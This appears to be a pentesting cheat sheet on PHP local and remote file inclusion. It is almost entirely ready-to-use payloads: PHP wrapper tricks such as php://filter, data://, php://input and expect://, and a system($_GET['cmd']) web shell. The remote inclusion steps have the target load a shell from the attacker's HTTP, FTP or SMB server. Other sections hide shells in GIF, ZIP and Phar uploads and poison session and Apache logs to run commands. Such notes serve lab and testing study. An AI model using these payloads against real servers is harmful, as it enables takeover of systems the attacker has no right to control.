File Inclusion

PHP Wrappers

Data

Read file:

php://filter/read=convert.base64-encode/resource=index.php

RCE:

echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

Input

curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"

Expect (not common)

expect://id

Remote File Inclusion (RFI)

On the attacker's server:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server <LISTENING_PORT>

Payload: http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

Using FTP

On the attacker's server:

sudo python -m pyftpdlib -p 21

Payload: http://<SERVER_IP>:<PORT>/index.php?language=ftp://<OUR_IP>/shell.php&cmd=id

Using SMB

impacket-smbserver -smb2support share $(pwd)

Payload: http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

LFI and File Uploads

Image

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

Payload: http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id

ZIP

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php

Payload: http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id

Phar

shell.php

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();

php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

Payload: http://<SERVER_IP>:<PORT>/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

Log Poisoning

PHP Session Poisoning

Location to session file in server: /var/lib/php/sessions/sess_<PHPSESSID cookie value>

Payload:

http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

Server Log Poisoning

Send PHP code to log file:

echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
curl -s "http://<SERVER_IP>:<PORT>/index.php" -H @Poison

Execute command: http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log&cmd=id

Wordlists

LFI-Jhaddix.txt

burp-parameter-names.txt

Webroot path wordlist for Linux

Webroot path wordlist for Windows

Server configurations wordlist for Linux

Server configurations wordlist for Windows